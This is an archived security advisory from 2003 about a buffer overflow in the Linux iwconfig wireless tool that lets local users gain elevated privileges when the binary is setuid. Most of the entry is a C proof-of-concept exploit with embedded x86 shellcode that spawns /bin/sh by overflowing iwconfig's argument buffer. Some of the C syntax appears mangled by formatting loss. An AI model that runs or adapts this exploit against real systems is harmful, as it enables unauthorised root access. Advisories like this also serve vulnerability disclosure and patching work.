[EXPL] iwconfig Buffer Overflow Vulnerability

2003-10-27T00:00:00
ID SECURITYVULNS:DOC:5296
Type securityvulns
Reporter Securityvulns
Modified 2003-10-27T00:00:00

Description

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iwconfig Buffer Overflow Vulnerability

SUMMARY

<http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html> iwconfig, a tool that allows you to configure a wireless network interface, contains an exploitable buffer overflow that allows local attackers to gain elevated privileges (if the iwconfig executable is setuid).

DETAILS

Exploit: / PST_iwconfig /sbin/iwconfig proof of concept exploit coded by aXis@ph4nt0m.net Ph4nt0m Security Team http://www.ph4nt0m.net just for fun /

include<stdio.h>

include<string.h>

include<unistd.h>

/ Copyright (c) Ramon de Carvalho Valle July 2003 / / x86/linux shellcode /

char shellcode[]= / 24 bytes / "\x31\xc0" / xorl %eax,%eax / "\x50" / pushl %eax / "\x68\x2f\x2f\x73\x68" / pushl $0x68732f2f / "\x68\x2f\x62\x69\x6e" / pushl $0x6e69622f / "\x89\xe3" / movl %esp,%ebx / "\x50" / pushl %eax / "\x53" / pushl %ebx / "\x89\xe1" / movl %esp,%ecx / "\x99" / cltd / "\xb0\x0b" / movb $0x0b,%al / "\xcd\x80"; / int $0x80 /

int main(int argc,char **argv){ char buf[96]; unsigned long ret; int i;

char prog[]={"/sbin/iwconfig",buf,NULL}; char env[]={"HOME=/",shellcode,NULL};

ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06; printf("use ret addr: 0x%x\n",ret);

memset(buf,0x41,sizeof(buf)); memcpy(&buf[92],&ret,4);

execve(prog[0],prog,env);

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:aXis@ph4nt0m.net> aXis.

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